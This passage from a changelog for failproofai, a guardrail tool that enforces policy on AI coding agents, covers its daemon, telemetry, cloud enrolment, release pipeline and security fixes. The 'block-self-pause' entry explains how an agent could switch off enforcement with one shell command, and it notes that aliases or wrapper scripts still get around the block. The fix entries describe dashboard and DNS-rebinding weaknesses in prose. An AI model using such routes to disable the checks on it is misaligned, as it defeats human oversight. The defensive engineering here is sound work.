pasted API key** — the same credential `--connect` takes, and the only form that works on a headless box — validated before the review screen so a typo surfaces while the user is still thinking about credentials, and written through the existing `connectToCloud`, which re-verifies and writes only the capabilities that actually work. Connecting turns on policy decisions **and** session transcripts together, stated in the body of the question rather than an option hint, since transcripts carry prompts, file contents and command output. (#653) +- Collect sessions from the last four supported CLIs — **Factory (droid), Antigravity (agy), Devin, and Cursor** — so the collector now ships transcripts for all twelve, matching the enforcement hooks and the audit adapters. Each is a new source module the engine runs alongside the existing eight; nothing about the eight changed, and every one of their tests still passes. Factory and Antigravity are plain JSONL file tailers (Factory reuses the Claude block shape and `ValidatePrefix` for the session-start line it rewrites in place; Antigravity pairs each `RUN_COMMAND`/`CODE_ACTION` result back onto its `tool_call` and synthesises the ids the format omits). Devin is a SQLite poller like Goose, but keys dedup on the stable `message_id` inside `chat_message` rather than the row id, because Devin replays earlier context under fresh rows each turn — 34 rows for 14 messages on a real DB — so a row-keyed discriminator would ship each message two-to-four times. **Cursor needed one genuinely new, fully additive engine capability**: its transcripts carry no timestamps on any line, and the engine is timestamp-driven, so `Ctx` gained an optional `file_epoch_ms` — the file's mtime, captured ONCE at discovery and carried immutably (persisted on the file cursor, which already `serde(default)`s every field) — that ONLY the cursor source reads. Cursor stamps each event at that real mtime plus the byte offset in microseconds: real enough to place the session in time, and a pure function of the inputs so the content-hash dedup still collapses re-reads. The other eleven sources ignore the field entirely. (#632) +- Fail a publish in preflight when the version is already on the registry, instead of discovering it in the last step. A `workflow_dispatch` has no version input — the publish version is whatever `package.json` carries — so dispatching from a feature branch routinely targets a version that shipped long ago, and the root package is the *last* thing the pipeline publishes. A dispatch of this branch at `1.0.0-beta.0` therefore ran the full 4-way cross-compile, attached the release assets, published all four `@failproofai/failproofaid--` packages, and only then hit `E403 You cannot publish over the previously published versions` on the root package. The four platform packages are still up there at a version whose CLI was published without pins to them, and npm's 72-hour window is the only way to remove them. The check is one `npm view` in preflight, ahead of every other job, and is deliberately ungated on `dry_run` — a dry run that validated a release which cannot happen is not a useful dry run. Pinned by `__tests__/ci/release-pipeline.test.ts` alongside the rest of the release wiring. +- Verify, after publishing, that every package in a release actually landed on the registry at one version. Every published name already derives from the same `PUBLISH_VERSION` — the root package, the four `@failproofai/failproofaid--` packages, the aliases — so a run that completes is in lockstep by construction. What construction cannot cover is a **partial** run, and both halves of that split have shipped once each: `1.0.0-beta.1` through `.3` published the CLI with no platform packages behind it (the publish step did not exist yet), and `1.0.0-beta.0` published four platform packages whose CLI was already on the registry without pins to them. Each of those runs reported success. The release now asks the registry directly — all five names must resolve at the publish version, and the published root package's `optionalDependencies` must pin that same version, or the job fails. Retried against read-through-cache lag, and skipped on a dry run, where nothing was published to verify. +- Finish a release by **installing it**, on a clean runner, once per platform the daemon ships for. Querying the registry proves a manifest exists; it does not prove the tarball is fetchable, that npm's `os`/`cpu` filters resolve the right platform package on the machine it is meant for, that the executable bit survived publish → install, or that the binary inside is the version the CLI beside it believes it is — and each of those fails while every manifest query still reads as healthy. The new `verify-install` job does a real `npm install -g failproofai@` and then runs both binaries: the CLI must report the published version, and the daemon must resolve *the way the CLI resolves it at runtime* (through the installed package, not by path), be executable, and report the same version. It is a matrix rather than one runner because npm installs the one platform package matching the runner's os/cpu and silently skips the other three, so a single leg can only ever verify a quarter of what shipped. Both this and the registry check retry immediately, then at 10s / 30s / 1m / 2m — long enough that read-through-cache propagation is not mistaken for a failed publish, short enough that a genuinely failed one is reported in the same run rather than hours later by a user. +- Bump the version to `1.0.0-beta.5` so this branch carries an unpublished version. `1.0.0-beta.0` through `1.0.0-beta.4` are all on npm; a dispatch from here could not have published anything. +- Stamp the OS user on every collected event, alongside the machine id, so two profiles on one machine stop collapsing into one. Identity is the pair `(machine_id, user)` — a username is unique only within a machine — and it is stamped at the single `SpoolWriter` choke point every event already passes through, so no source can forget it and a new source inherits it for free. Resolved once at daemon start from the real uid via `getpwuid_r`, not `$USER`, which a system-scope unit may leave unset or stale; a uid with no passwd entry yields no user rather than an invented one. (#PR) +- Mint a stable machine id at enrolment instead of defaulting to the hostname. Two hosts sharing a hostname — fresh cloud VMs, cloned images — enrolled under the same id and **silently merged into one machine** on the server. `--machine-id` still wins, an already-enrolled id is reused so re-running `--connect` is idempotent, and only a machine with neither mints a fresh UUID. The hostname becomes `machine_label`, a mutable display name that is free to collide because the id keeps machines apart; it persists in `credentials.toml`'s `[cloud]` table and rides the enrolment request as a `&label=` an older server ignores. (#PR) +- Add `[telemetry] enabled` to `config.toml` as a telemetry off-switch that works everywhere. `FAILPROOFAI_TELEMETRY_DISABLED=1` is read from `process.env` and keeps working, but it is structurally incapable of reaching **failproofaid** — a system-scope service unit whose environment carries essentially nothing — so a machine running the daemon had no way to opt out of daemon-side reporting at all. All four dispatchers now resolve through one shared gate that takes the **more restrictive** of the two, so the environment can never re-enable something the file switched off, and the install dispatcher (a dependency-free `.mjs` that cannot parse TOML) is told the verdict by its caller rather than resolving its own. Documented in the environment-variables page. (#PR) +- Add the `[audit]` block to `config.toml`, a headless `failproofai audit --scheduled`, and a cross-process lock the audit paths share. `auto` ships **off** — the scan reads the *contents* of every session transcript on this machine, so nothing scans on a timer until it is asked to — and unlike `[telemetry]` the block is written to the file every time, because a switch nobody can find is the same as one that does not exist. A nonsense `interval_days` resolves to the 7-day default rather than clamping up to the 1-day floor: a `0` almost certainly means "off", and reading it as a *daily* scan of every transcript is the loudest available way to get that wrong. The headless entry point exists because the scan is a **separate short-lived process by necessity** — a measured full audit is ~104 seconds, the warm worker serialises every request through one chain behind a 30-second cap, and a timeout there is a fail-closed DENY across all 12 CLIs — and it reports through an exit code (0 / 1 / **75** = "another audit already had the lock", which a scheduler must not treat as a failure). The lock itself closes a real gap: three processes can start an audit and all three write the same sha1-keyed cache files, while the only lock that existed was a module-level singleton inside the Next.js server that neither of the other two could see. It steals a lock whose pid is gone (Ctrl+C leaves no chance to clean up) or that is older than an hour, and the interactive path releases it when the *scan* ends rather than when the dashboard it then serves is closed. (#PR) +- Give **failproofaid** a way to run the CLI, and rewrite the service definitions that cannot. A system-scope service has no login environment, so its PATH is the system default — and the single most common Node install is nvm, which lives under `~/.nvm/versions/node/*/bin` and is on no system PATH — so the daemon cannot find `failproofai` to spawn a scheduled audit any more than it could find the warm worker. `FAILPROOFAI_CLI_CMD` now rides in the unit's `Environment=` / the plist's `EnvironmentVariables` beside `FAILPROOFAI_WORKER_CMD`, resolved once at install time to an absolute, shell-quoted ` /dist/cli.mjs` — the bundle, not `bin/failproofai.mjs`, which has a bun shebang and syntax node cannot load. **The upgrade case is the point:** `npm i -g failproofai@latest` replaces the CLI and never touches `/etc/systemd/system`, and the wizard's own "already installed and running — leaving it alone" branch skipped it too, so an upgraded machine would keep a unit with no such variable forever and the audit lane would be permanently inert while `config.toml` said the scan was on — with no symptom anywhere. Setup now detects that unit by reading it (not by trusting a revision mirrored into `config.toml`, which is how `daemon.installed_version` is modelled and that field has never once been written) and rewrites it in place: the ExecStart and any environment value this process cannot re-resolve are carried forward, because right after a CLI upgrade the version-stamped daemon binary for the new version is not on disk yet and a resolver returning null must never silently delete a working `FAILPROOFAI_WORKER_CMD` from a working unit. It ends in `systemctl restart`, not `enable --now`, which returns success against an already-active unit having changed nothing — without it the "fix" would reach the running daemon only at the next boot. That restart is also the one genuinely dangerous thing here — it is the first code path that ever touches a **healthy, running** daemon, and on a `daemonConfigured` machine a daemon that does not come back is not a missing feature but every tool call across all 12 CLIs denied against a socket nothing is listening on — so a refresh that cannot bring the service back puts the previous definition back and restarts it, and if even that fails the machine is switched off the daemon and back to in-process evaluation rather than left denying everything. Confined to the wizard, and it cannot abort a setup: a machine that cannot elevate keeps its working daemon and its enforcement, and loses only the scheduled audit. (#PR) +- Give the daemon an audit lane, which is what makes the scheduled scan actually happen. A new thread in **failproofaid** re-reads `config.toml`'s `[audit]` table every minute — like the collector manager and the cloud lane, so switching `auto = true` on takes effect without a restart, which matters because `failproofai config` writes that file without root while the service is system-scope — and when the wall clock says a scan is due it spawns `failproofai audit --scheduled` from `FAILPROOFAI_CLI_CMD` as a `nice(19)` process in its own process group, with piped-and-drained stdio and a 30-minute kill. It is a **separate process by necessity**: the warm worker serialises every request through one chain that `worker.rs` caps at 30 seconds and `daemon-client.ts` turns into a DENY, so a ~104-second scan there would be every tool call on the machine denied across all 12 CLIs for as long as it ran — `worker-server.test.ts` now carries a tripwire so an "optimisation" onto that chain fails loudly instead. Nothing propagates out of the lane: a panic is caught and the next tick still runs, because a daemon that dies denies the whole machine. **The due time is wall clock, persisted to `state/audit-schedule.json`** (0600, atomic, schema-guarded, daemon-owned) rather than an `Instant` like every other lane — a monotonic clock does not advance across suspend and resets each process start, so a seven-day timer on a laptop or on a daemon that restarts every upgrade never fires at all. A machine asleep past its due time runs **once** on wake, never a backlog, because the next due time is recomputed from *now* and never by adding intervals to the one that was missed; a clock corrected backwards (or a shortened `interval_days`) is repaired by rewriting the schedule rather than clamping it at read time, which would sit one interval ahead of the present forever. **The schedule is written BEFORE the scan is spawned**, deliberately inverting the collector's flush-then-advance rule: there a crash costs a re-ship the server dedups, here the unit is `Restart=on-failure` and run-then-write means a scan that takes the daemon down relaunches itself on every restart, forever — so a schedule that cannot be written skips the scan instead. A second, in-memory 15-minute floor backs that up for the one case the file cannot: a home the daemon has no way to write to. Exit **75** from the child ("another audit already holds the lock") is retried at that floor and recorded as neither a run nor a failure. And a first start **schedules** rather than scans, because the daemon restarts on every upgrade and every boot and "scan the first time you see no state" would be a full scan per restart. (#PR) + +- Give **failproofaid** a telemetry lane, so the one component whose failure denies every tool call on a machine stops being the one component nobody can see. Everything that moved into the daemon — collection, cloud policy pull, worker supervision, the fail-closed enforcement path — reported *nothing*; it now posts a small **lifecycle** stream to PostHog's `/batch/` endpoint under a fifth `$lib`, `failproofai-daemon`, distinct from the four TypeScript dispatchers because "which component reported this" is the first question asked of any of these events. What it reports: that the daemon started and **whether the previous run exited cleanly** (the one signal here worth alerting on, and invisible everywhere else — systemd restarts the unit and the next log line reads like an ordinary start), that it stopped, every warm-worker spawn with its reason, outcome and cold-start milliseconds, collector task failures and restarts, and the outcome of a cloud-policy pull on a **change** rather than per tick (a 30-second poll would otherwise send ~2,900 events a day from every enrolled machine to say nothing happened). There is deliberately **no per-hook-call event**: the existing code never sends an `allow`, and awaiting one on the deny path already cost ~700ms once and blew the 150ms fail-closed budget. **Nothing here can reach the hook path.** Recording is a bounded push onto a 128-event in-memory ring and nothing else — no I/O, no network — and the ring lock is always released before a request starts, so a black-holing corporate proxy can stall the lane for its whole timeout without a hook call noticing; the lane runs on its own thread with the shared shutdown flag and a `catch_unwind` per tick, a batch is retried weakly and then dropped rather than retried forever, and the flush on the way out uses a much shorter timeout than the periodic one because `systemctl stop` waits on it and an upgrade pays it every time. **The opt-out is checked before an event is even buffered**, resolved to the more restrictive of `[telemetry] enabled` and `FAILPROOFAI_TELEMETRY_DISABLED` and re-read every tick rather than memoised — `failproofai config` writes that file without root while this is a system unit, so an opt-out that only took effect on restart would not hold — and a tick that sees it switched off **clears** the buffer as well as closing it. Identity is the id the CLI already resolved, which `getInstanceId()` now publishes to `state/telemetry-id` for the daemon to read: the daemon deliberately does **not** re-derive it, because that tier hashes Node-formatted strings (`os.arch()` is `x64` where Rust says `x86_64`) and a near-miss there does not fail — it silently files one machine under two PostHog persons with nothing in the data to say so. When the file is absent the daemon recomputes the CLI's *first* tier instead (the raw platform machine id under the same HMAC, which has no Node in it), then mints and persists one, then degrades to a per-process id — and every event carries which rung it used. That same "one machine must not become two" rule governs the plain `platform` and `arch` properties, which go out under Node's spelling (`darwin`, `x64`) rather than Rust's (`macos`, `x86_64`), because two of the four release legs are macOS and the other four dispatchers already send the Node names — a raw value would not fail, it would just split one population across two names in every breakdown. The payload is enums, booleans and counts only: no file path, command string, policy, prompt, transcript text, URL, token, or error message. (#PR) + +### Fixes +- **Lock down the local dashboard, which bound every network interface with no authentication.** `scripts/launch.ts` set `HOSTNAME = "0.0.0.0"` unconditionally, and the dashboard is a *write* surface for this machine's security configuration — `removeHooksWebAction` strips failproofai's hooks out of every agent CLI's settings file and `togglePolicyAction` disables individual policies, so any peer on the network could turn enforcement off and read session transcripts through `/api/download`. Three layers now stand in the way, each closing an attack the others do not: the server binds loopback by default (`--host` / `FAILPROOFAI_DASHBOARD_HOST` still allow a routable address deliberately, and say what it costs); `Host` is pinned to loopback, which is what defeats DNS rebinding — a bind alone does not, because rebinding targets 127.0.0.1 on purpose and arrives with Origin and Host in agreement, satisfying every same-origin check including the framework's own; and cross-origin mutating requests are refused by `Origin`, because route handlers get none of the Server-Action protection and `req.json()` ignores Content-Type, making a plain cross-site `POST` a CORS *simple* request that reaches `login-verify` — which is unauthenticated and never checks the email relates to an existing session, so a page could write its own tokens into `auth.json`. `x-forwarded-host` is stripped, since the framework prefers it over `Host` and nothing proxies this server. (#PR) +- **The daemon could not see its own cloud enrolment on a layout-2 home.** `cloud_client.rs` still resolved the layout-1 `~/.failproofai/cloud.json` and parsed it as JSON, while the CLI had moved the credential into the `[cloud]` table of `credentials.toml` — so an enrolled machine's daemon found no credential, pulled no policy, and reported itself as simply not connected while `failproofai config --status` showed a perfectly good connection. It now reads the TOML table, mirroring the TS reader field for field: an absent or incomplete `[cloud]` is "connected for reporting but not policy", a supported half-state rather than an error, and only unparseable TOML is fatal. `FAILPROOFAI_CLOUD_CREDENTIALS` still names a standalone JSON file, because CI and containers already use it that way. A leftover layout-1 `cloud.json` is deliberately **not** honoured as a fallback — layout 2 chose wipe-and-re-setup over migration, so reading it would resurrect an enrolment the CLI considers gone. (#PR) +- Correct a false claim `config.toml` wrote to disk. The `[mode]` block stated `"oss" — fully local. Nothing is sent anywhere, ever.`, which has not been true for as long as the four telemetry dispatchers have existed. It now scopes the claim to what `mode` actually governs — transcripts, hook activity and policy. (#PR) +- **Stop the scheduled audit from deleting the config that scheduled it.** `audit --scheduled` was headless inside `src/audit/cli.ts`, but the daemon does not call that function — it spawns the *binary*, so everything `bin/failproofai.mjs` does before dispatch now runs unattended on a timer too. One of those things is the layout check, and on a home written by an older layout that check **resets the home**: `resettablePaths()` deletes `config.toml` and `credentials.toml`. So a single scheduled tick could silently revoke a user's `[telemetry] enabled = false`, erase their cloud enrolment, and switch off `[audit] auto` — the very setting that scheduled the run — with the explanation going only to the service journal, where nobody is looking. The reset module's own doctrine already forbids this ("only a real CLI command resets; a hook never deletes anything, because a hook runs unattended"), and a timer-spawned scan is unattended in exactly the sense that rule cares about. It now takes the hook's branch: warn on stderr, exit 1, delete nothing. An interactive command still resets a stale home, visibly, which is what the layout mechanism is for. This was reachable on any home carrying `config.toml` without a current `VERSION`, and becomes reachable on **every** machine at the next `LAYOUT_VERSION` bump, when a home carrying `auto = true` is stale by definition. (#PR) + +### Chores +- Remove this repo's dogfood `block-version-bumps` policy, which reserved `package.json` version edits for `luv-cut-X.Y.Z` branches. It was added in #285 after the #270/#284 version drift, but it also blocks the only fix for a burned publish version, and the preflight check above now catches the failure it was guarding against at the point where it actually matters. The `release-prep-check` instruction that referenced it drops its last line. + +### Dependencies +- Bump `react` to 19.2.8 and `@types/react` to 19.2.18 (#652). `react-dom` moves to 19.2.8 in the same commit (#607): React refuses to render when `react` and `react-dom` are not the exact same version, so the two bumps are only green together — landing #652 alone failed 15 component test files with `Incompatible React versions`. + +## 1.0.0-beta.4 — 2026-08-04 ### Features - Restrict stable releases to a maintainer allowlist while leaving prereleases open. `publish.yml`'s preflight now refuses any publish at dist-tag `latest`, or of a non-prerelease version at any dist-tag, unless both `github.actor` and `github.triggering_actor` are on the allowlist (`NiveditJain`) — the second identity matters because a re-run keeps `actor` as the original triggerer, so checking only it would make a maintainer's stable run a re-run button for everyone with write access. A stable version published under `next` is gated too: it claims that number on npm permanently and is one `npm dist-tag add` away from being the stable release. `beta` and `next` builds are untouched, so the branch-dispatch path stays open to anyone GitHub already trusts with write access. The check runs in preflight, which every other job depends on, so a refusal costs seconds rather than a 4-way cross-compile. (#651) ### Fixes +- Close a time-of-check/time-of-use gap in cloud-managed policy loading. The evaluator hashed the artifact bytes against the pinned SHA-256, discarded the buffer, and returned only the path; the loader then **independently re-read that path** to rewrite imports and `import()` it — so a same-user attacker who flipped the bytes between the two reads could have a file that passed verification import unverified code, stealthily (every file on disk is genuine whenever observed). `rewriteFileTree` now takes the pinned digest for the entry, re-verifies the raw bytes at the moment they are read for rewriting, and rewrites/writes/imports **those** bytes — the file is never read again, so the bytes imported are the bytes verified. Ordinary (non-cloud) custom policies pass no digest and are unaffected. (#632) + +### Features +- Ship the daemon binary through **npm as well as the GitHub Release**, so `npm install failproofai` already carries the `failproofaid` build for the machine it landed on. The four binaries now publish as `@failproofai/failproofaid--` packages with `os`/`cpu` set — npm and bun install the one match and skip the other three — pinned as `optionalDependencies` of the root package, and `ensureFailproofaidBinary()` tries that copy before the download. This is what makes `failproofai config` work with **no network at all**: until now the only channel was a fetch from github.com at wizard time, so a corporate proxy, an air-gapped box or a rate-limited runner got a CLI with no daemon. `FAILPROOFAI_NO_DOWNLOAD=1` deliberately does not gate the copy — it exists so an air-gapped machine does not reach out, and on exactly those machines npm is the only channel that can supply a daemon. Both channels land the file at `~/.failproofai/bin/failproofaid-` through one `installBinaryBytes()` (atomic rename, mode 0755), so **`ExecStart` never points into `node_modules`**: an `npm i -g failproofai@next` would otherwise swap the binary under a running service, and an uninstall would delete it out from under an enabled unit that then crash-loops at every boot. The release assets stay exactly as they were, because they are how anyone installs the daemon standalone and how an install that skipped optional dependencies still gets one. **This is the second attempt at the npm half, and the first one's failure is what shapes it**: the pins shipped once before with nothing published behind them, so every install resolved four 404s (1.0.0-beta.3). So `scripts/build-daemon-packages.mjs` publishes the four packages **before** the root package that pins them, **fails the release** rather than warning when one cannot be published, and writes the pins in the same invocation that publishes — they are injected at publish time rather than committed, so a pin can never name a version that was not published and this repo's own `bun install --frozen-lockfile` keeps working. Resolution anchors at `FAILPROOFAI_PACKAGE_ROOT` rather than `import.meta.url` (which does not survive the CJS bundle) with a computed specifier (a literal would make the bundler try to resolve a package absent on three machines out of four at build time), and both real layouts are covered — a global install nests the scope under the package, a local one hoists it. The 14 typo-squat alias stubs pin the same four packages. Verified end to end in a systemd container: the npm-installed binary copied into place with the download channel switched off and the base URL pointed at a dead port, the service installed from it, and the daemon still answering pings and live hook events after a reboot. (#632) +- Attach the CLI's own npm tarball to every GitHub Release. `failproofai-.tgz` is packed by a new `cli-tarball` job at the version being published and covered by the same `SHA256SUMS` as the daemon binaries, so `npm i -g ./failproofai-.tgz` installs the CLI without the registry — a mirror, an air-gapped transfer, or a pin to an exact byte-for-byte build. The job is deliberately **not** gated on `has_daemon`, because a release should carry an installable CLI whether or not that ref builds a daemon, and its failure now blocks the npm publish: it runs the same build the publish job ships, so a failure there is never "nothing to do". (#632) + +## 1.0.0-beta.3 — 2026-08-03 + +### Features +- Stamp the machine's id on every collected event, so the cloud dashboard can tell one machine from another. The collector tagged events only with `agent_id` — a per-project, per-harness identity it derives from each transcript (`claude-`) — and the fleet views treated each one as a separate machine, so a single laptop with twenty projects showed as twenty machines in the deploy picker. The daemon knows its machine id (from `--connect --machine-id`); it now writes it into the collector config and stamps it on every event at `SpoolWriter::push`, the one choke point every event already passes through for redaction — a source cannot forget it and a new source inherits it. Set only when absent (a re-shipped batch keeps its own), and an empty or missing id stamps nothing rather than inventing a machine, so events from a pre-machine-id config are excluded from machine-level counts instead of guessed into one. (#640) +- Make connecting to Failproof Cloud **one step instead of two**. Enrolment (#632) and collection (#640) were built independently and each arrived with its own credential file, its own URL and its own setup step — `cloud.json` for pulling policy, `ingest.json` for sending activity — pointing at the same server, in the same organisation, usually with the same key. Someone who ran `--connect` was enrolled, saw an empty dashboard, and had nothing to suggest a second credential existed. `--connect --token ` now configures **both capabilities from one URL and one token**, deriving the ingest endpoint from the cloud base rather than asking for it again, and the setup wizard offers an existing connection instead of asking for a second one (and, in the other direction, enrols for policy when the key it was given turns out to carry `policies:pull`). The two files stay separate on disk, because they are a real security boundary — they can hold different keys with different permissions and the daemon reads them independently — but nothing above that layer has to know. **Capabilities are verified and reported independently**, since a key can carry `policies:pull` without `events:add`: the partial outcome is a connection with a precise reason ("connected for policy only … the dashboard will stay empty until this key also carries `events:add`") rather than an all-or-nothing failure, and both reasons are reported together so fixing one permission does not simply reveal the next. The **exit code still tracks enrolment alone**, so a fleet provisioning script running `--connect … && …` stops on a machine that will not receive policy, even though its dashboard credential was written. `--disconnect` now clears both — clearing only the policy credential left a machine shipping activity to a cloud its owner believed they had left. `--status` reports one connection with two capabilities, which is what makes the half-configured machine visible at a glance. Transcripts remain a separate, explicit opt-in (`--send-transcripts`) and are named in the success output, because a transcript carries prompts, file contents and whatever was pasted into a terminal, and nobody should discover months later that none were sent. Verified end to end against a live server: one `--connect`, then a daemon run, put a fully attributed cloud denial in the dashboard. (#640) +- Carry decision attribution through the collector, without which the cloud dashboard cannot answer the question centrally-managed policy exists to answer. The activity store gained `policySource`, `cloudPolicyId`, `cloudRevision`, `cloudGeneration`, `pausedBy` and `observed` (#632) after the hook source was written (#640), and serde drops unknown fields silently — so every row shipped by a real machine arrived unattributed, and "how much is my organisation's policy actually doing" rendered as a flat *no policy decided*. The fields now travel to the server as `policy_source` / `cloud_policy_id` / `cloud_revision` / `cloud_generation` / `paused`, the last as a real boolean because the server tests it with `JSONExtractBool`. Two consequences are load-bearing rather than incidental. **Attribution is part of the allow-aggregation key**, not a field sampled from the first row of a bucket: a bucket is emitted as one event carrying one set of facts, so grouping a cloud-decided allow with an unattributed one would put a count behind a rollout that did not produce it — worse than no attribution, because someone is judging a rollout by it. And an **observe-mode row is never aggregated**: its verdict was evaluated and discarded, so the row is an `allow` by construction and the roll-up would erase the only measurement a trial produces. Verified end to end against a live AgentEye — rows written by the real store writer, shipped by the real daemon — reconstructing 70 evaluations exactly from 25 emitted events, with the paused window kept distinct from the unpaused one it shares a session, tool and minute with. (#640) +- Support **observe mode** for cloud-managed policies, the observe-before-enforce step the rollout sequence depends on. A desired-state assignment now carries an `effect`; `observe` means the machine downloads, verifies and *evaluates* the policy exactly as it would any other, then discards the verdict and records what it would have been on the activity row (`observed`: policy id, revision, decision). Evaluating and discarding is the point — a policy that did not really run would measure nothing about the rollout being trialled — and a policy that throws or times out is recorded as an **allow**, because that is what it would have been in enforce mode; recording it as a would-deny would overstate the policy's reach. The effect is carried into `active.json`, so an observe-mode policy does not start enforcing the moment the daemon restarts and re-reads its own manifest. Omitted means `enforce` on every layer: the default has to be the one that keeps enforcing, or a server predating observe mode would silently downgrade a fleet to observation. An unrecognised effect is refused rather than guessed, since guessing means either enforcing what was meant to be watched or watching what was meant to be enforced. **Also removes `deny_unknown_fields` from the desired-state types**, which was a latent fleet-wide hazard: those structs parse a *server* response and daemons update on their own schedule, so the first field cloud ever added would have made every older daemon fail to parse desired-state and silently stop pulling — stranded on whatever generation it held, with no error anyone would think to look for. Strictness stays on the manifests we write ourselves. (#632) +- Attribute each decision to the policy that made it, as structured data rather than a substring. Activity rows gain `policySource` (`builtin`/`custom`/`convention`/`cloud`), `cloudPolicyId` and `cloudRevision` for a cloud decider, and `cloudGeneration` on **every** row of a managed machine. Before this, a cloud policy's revision existed only inside its display name (`cloud/org-guard@7/…`), so the one question centrally-managed policy has to answer — which rollout produced this decision — could be answered only by re-parsing our own label, and could not be filtered or aggregated at all. Attribution is a lookup keyed by the exact name the evaluator reports, built where the policy is registered, so nothing parses anything; a builtin is anything absent from that map, which makes its absence meaningful rather than missing. The generation is recorded even when a *local* policy decided, because "what was deployed here" is a different question from "what decided" and only the former separates a rollout that changed no outcomes from one that never reached the machine — and it is omitted rather than written as `0` on an unmanaged machine, since a literal zero would read as a deployed generation. The dashboard gains a `source` filter and shows both facts in the row detail. Rows written before this existed carry no `policySource` and are excluded from every source filter rather than guessed into a bucket: a wrong attribution is worse than a missing one when the point is proving which rollout decided something. (#632) +- Add `failproofai config --connect --token [--machine-id ]`, plus `--disconnect` and connection reporting in `--status`, so a machine can be enrolled with Failproof Cloud without hand-editing a service unit — the only way until now. **The credential deliberately does not go in that unit.** `daemon-service.ts` installs `/etc/systemd/system/failproofaid@.service` at mode 0644 (root-owned, world-readable) and the launchd plist likewise, so the `Environment="FAILPROOFAI_CLOUD_TOKEN=…"` line the docs previously told operators to add would hand an organization-scoped key to every local user, with `systemctl show` printing it back at no privilege. It goes to `~/.failproofai/cloud.json` at mode 0600 instead — which also means enrolment, token rotation and disconnect need **no root at all**, and an already-installed daemon can be connected without reinstalling it. The daemon re-resolves enrolment on **every poll** rather than at startup, so all three take effect within one interval; that is necessary rather than tidy, because restarting a *system* unit needs root and would have put sudo straight back into the flow this was built to avoid. Enrolment verifies before it writes, making the exact request the daemon will make and distinguishing 401 (token rejected) from 403 (key lacks `policies:pull`) from unreachable — a stored credential that does not work is worse than none, since `--status` would then report a connection the machine does not have. Plain `http://` to a non-loopback host is refused outright because the token is a bearer credential, `http://localhost` stays allowed for the documented local walkthrough, and the token is never printed or logged. Environment variables keep taking precedence for CI and containers, and `FAILPROOFAI_CLOUD_CREDENTIALS` overrides the path. Verified end to end against a live daemon: enrolled while it was already running and untouched, generation activated with byte-identical artifacts, then `--disconnect` stopped polling while the last known-good generation stayed on disk. (#632) +- Add `failproofai config --pause`, a time-boxed suspension of enforcement for one agent session, plus `--resume` and `--status`. It answers the case the product had no answer for: a policy blocks legitimate work, and the only ways out were editing config (persistent, and in this repo's shape committed to git) or uninstalling. A pause is therefore deliberately **not** configuration — it lives in session state under `~/.failproofai/state/sessions/`, keyed by a digest of the session id (twelve CLIs mint their own ids and nothing stops one containing `../`), written atomically, owner-only. Disk is the source of truth rather than the daemon, because most machines have no daemon and the CLI writing a pause is a different process from the hook reading it. Every pause carries a finite expiry — 30m by default, 8h ceiling that config may lower and never raise — and expiry is evaluated at *read* time against the clock rather than by a sweeper, so a file left behind by a crash is inert instead of resurrecting a pause. The failure mode worth engineering against is not "the pause didn't work", it is "the pause silently never ended". Scope is local only: builtin, explicit-custom and convention policies are suspended, **cloud-managed assignments keep enforcing**, the same rule `disabledCustomPolicies` already honours — a locally-issued command that could switch off a centrally assigned policy would make cloud enforcement decorative. Session resolution needs no argument because hook activity already records `sessionId` with `cwd` and a timestamp, so "the newest session in this directory" is derivable from data we already write; when nothing recent matches, the command refuses rather than guessing, since pausing the wrong session leaves someone believing enforcement is off when it is on. Activity rows written during a pause carry `pausedBy`/`pauseExpiresAt`, without which the log would assert a clean window over exactly the window that was not enforced. (#632) +- Surface a paused machine in the dashboard, which otherwise showed a run of clean allows over exactly the window nothing was enforced. Three pieces: a banner above the activity stats while any pause is live ("Enforcement is paused for 1 session — 22m left"), a `paused` pill beside the decision badge so unenforced rows can be scanned for, and a note in the row detail explaining that an `allow` there proves nothing. The banner is fed by live pause state polled independently of the activity table, not derived from the rows on screen: a pause set seconds ago has produced no rows yet, and that is exactly the moment someone needs telling the machine is unguarded — so an absent banner has to mean "enforcing". It re-filters by expiry on every render and on a timer, because a short pause can lapse between polls and a banner that outlives its pause claims an exposure that has ended. All three say cloud-managed policies keep enforcing and how to end it early, since without the first the banner overstates the exposure and without the second the only visible exit is waiting. (#632) +- Add the `block-self-pause` builtin (default on), denying `failproofai config --pause` from a Bash tool call. A pause an agent can issue is not a guardrail — one shell-out would suspend every other policy, and the pause outlives the turn. It is not redundant with `block-failproofai-commands`: that policy anchors on a command boundary, so `npx -y failproofai config --pause` never matched it, and being broad it is plausibly switched off so agents can run `failproofai audit`; neither gap should leave pausing reachable. `--resume` and `--status` stay allowed, since neither removes enforcement. This stops the direct attempt rather than the class — an alias or wrapper script still reaches it, and closing that properly means the pause cannot originate from a tool call at all. (#632) +- Close the four gaps the Claude source shipped with — subagent transcripts, thinking blocks, compact boundaries and synthetic error turns — each decided against the 158 real transcripts on disk rather than against the shape they were assumed to have. Subagents become child sessions under a second `Format` keyed `:`, anchored on the literal `subagents` path component rather than a depth count, because the workflow layout inserts two extra levels and a depth guess is confidently wrong on exactly one of the two shapes; the parent is named as `claude_parent_session_id`/`claude_agent_id` and deliberately **not** as `parent_id`, which the dashboard matches against an *agent* id and would therefore resolve to nothing on every subagent. The agent type comes from the `agent-.meta.json` sidecar rather than the transcript, because `agentType` appears zero times in the transcripts themselves, and the sidecar is preferred over the in-file `attributionAgent` because `agent_id` is frozen onto the cursor at discovery while that field is not written until line 3-4 — the two agreed in 122 of 122 measured. The two formats are asserted disjoint, since a file claimed by both would ship every line twice under two session ids. Thinking blocks emit nothing and that is the measurement, not an omission: 7,687 of 7,687 carry `"thinking": ""` with the whole payload in an opaque signature, so only a block that actually carries text is shipped. That arm exposed a much larger defect — Claude writes the thinking block as its own line at the *head* of a `message.id` group, and the token gate was claimed on sight of the id rather than by a line that emitted, so 7,699 of 11,213 groups reported zero tokens and 8.4M of 10.3M output tokens were being dropped silently; the claim now belongs to the first line that emits, which is also strictly more accurate because usage accumulates across a group's lines (the later line carries the larger figure in 7,703 of 8,599 multi-line groups). `system`/`compact_boundary` becomes a `model_request` carrying the trigger and the pre/post/dropped token counts — the only on-disk record that the context was thrown away — separately from the file *shrinking*, which the engine already handles by re-reading. Failed assistant turns (`isApiErrorMessage`, `isAbortedMidStream`, `model: ""`) become `error` events that always carry a non-empty message, because the server's `is_error` is a truthiness check and a blank one renders a failure as a success; they are deliberately unbilled, since a synthetic turn's usage is all zeros and is interleaved *inside* a real message group, and `` is kept out of carried state so it cannot stamp itself as the model on every later prompt. Verified end-to-end over the real corpus: 88 subagent child sessions across three agent types, 2 compact boundaries, 4 error turns with no blank messages, and a full re-read producing 22,091 byte-identical events — zero differing — which is the dedup guarantee 